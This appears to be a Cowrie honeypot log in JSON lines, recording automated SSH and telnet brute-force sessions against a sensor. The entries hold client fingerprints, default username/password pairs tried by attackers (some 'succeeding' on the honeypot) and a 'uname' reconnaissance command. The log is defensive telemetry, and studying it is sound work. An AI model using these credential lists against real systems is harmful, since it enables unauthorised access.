{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:02.366706Z","src_ip":"176.65.132.129","session":"ea7f340d3349","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:02.626739Z","src_ip":"176.65.132.129","session":"ea7f340d3349","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:02.855404Z","src_ip":"176.65.132.129","session":"ea7f340d3349","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:02.859338Z","src_ip":"176.65.132.129","session":"ea7f340d3349","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:02.984794Z","src_ip":"176.65.132.129","session":"ea7f340d3349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:02.997278Z","src_ip":"176.65.132.129","session":"ea7f340d3349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54108,"dst_ip":"10.17.0.5","dst_port":22,"session":"562838ed8543","protocol":"ssh","message":"New connection: 176.65.132.129:54108 (10.17.0.5:22) [session: 562838ed8543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:05.816302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:05.930334Z","src_ip":"176.65.132.129","session":"562838ed8543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:05.935946Z","src_ip":"176.65.132.129","session":"562838ed8543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:06.508988Z","src_ip":"176.65.132.129","session":"562838ed8543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.733479261398315,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:07.182339Z","src_ip":"38.60.198.128","session":"d3de099b1a81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.301717042922974,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:07.426514Z","src_ip":"38.60.198.128","session":"9fdd8e2accef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:07.607913Z","src_ip":"176.65.132.129","session":"562838ed8543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34854,"dst_ip":"159.203.135.109","dst_port":23,"session":"8057a31b3f7e","protocol":"telnet","message":"New connection: 38.60.198.128:34854 (159.203.135.109:23) [session: 8057a31b3f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:07.968091Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":45210,"dst_ip":"159.203.135.109","dst_port":22,"session":"bda7ccad778c","protocol":"ssh","message":"New connection: 57.128.222.14:45210 (159.203.135.109:22) [session: bda7ccad778c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:07.993681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:07.999275Z","src_ip":"57.128.222.14","session":"bda7ccad778c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:08.105569Z","src_ip":"57.128.222.14","session":"bda7ccad778c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx12!@","message":"login attempt [root/qazwsx12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:08.564518Z","src_ip":"57.128.222.14","session":"bda7ccad778c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.50571632385254,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:09.442889Z","src_ip":"192.211.53.160","session":"5cadd9034953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54118,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d71254b77d","protocol":"ssh","message":"New connection: 176.65.132.129:54118 (10.17.0.5:22) [session: c3d71254b77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:09.485132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:09.489963Z","src_ip":"176.65.132.129","session":"c3d71254b77d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:09.572994Z","src_ip":"176.65.132.129","session":"c3d71254b77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:09.673939Z","src_ip":"57.128.222.14","session":"bda7ccad778c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:09.823130Z","src_ip":"176.65.132.129","session":"c3d71254b77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.12347626686096,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:10.067681Z","src_ip":"192.211.53.160","session":"ff4ff0b37d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37978,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1f921f00c31","protocol":"telnet","message":"New connection: 38.60.198.128:37978 (159.203.135.109:23) [session: c1f921f00c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:10.429943Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:10.909754Z","src_ip":"176.65.132.129","session":"c3d71254b77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.52507495880127,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:12.516039Z","src_ip":"38.60.198.128","session":"5fa4aeb327ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.54521036148071,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:12.549495Z","src_ip":"38.60.198.128","session":"a786850b3bef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54128,"dst_ip":"10.17.0.5","dst_port":22,"session":"988e27cc49f6","protocol":"ssh","message":"New connection: 176.65.132.129:54128 (10.17.0.5:22) [session: 988e27cc49f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:13.181188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:13.186439Z","src_ip":"176.65.132.129","session":"988e27cc49f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:13.269812Z","src_ip":"176.65.132.129","session":"988e27cc49f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:13.525429Z","src_ip":"176.65.132.129","session":"988e27cc49f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.64623022079468,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:14.202241Z","src_ip":"192.211.53.160","session":"b7327dc5879d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:14.613483Z","src_ip":"176.65.132.129","session":"988e27cc49f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44146,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc9b57d84e80","protocol":"telnet","message":"New connection: 38.60.198.128:44146 (159.203.135.109:23) [session: dc9b57d84e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:15.128972Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37076,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee0821336e9","protocol":"ssh","message":"New connection: 176.65.132.129:37076 (10.17.0.5:22) [session: aee0821336e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:16.658012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:16.662737Z","src_ip":"176.65.132.129","session":"aee0821336e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:16.745103Z","src_ip":"176.65.132.129","session":"aee0821336e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:17.068252Z","src_ip":"176.65.132.129","session":"aee0821336e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:18.153411Z","src_ip":"176.65.132.129","session":"aee0821336e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37088,"dst_ip":"10.17.0.5","dst_port":22,"session":"299155155383","protocol":"ssh","message":"New connection: 176.65.132.129:37088 (10.17.0.5:22) [session: 299155155383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:20.199929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:20.204389Z","src_ip":"176.65.132.129","session":"299155155383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:20.289007Z","src_ip":"176.65.132.129","session":"299155155383","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:20.533923Z","src_ip":"176.65.132.129","session":"299155155383","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:20.738266Z","src_ip":"176.65.132.129","session":"299155155383","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:20.741861Z","src_ip":"176.65.132.129","session":"299155155383","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:20.846185Z","src_ip":"176.65.132.129","session":"299155155383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:20.851745Z","src_ip":"176.65.132.129","session":"299155155383","protocol":"ssh"}
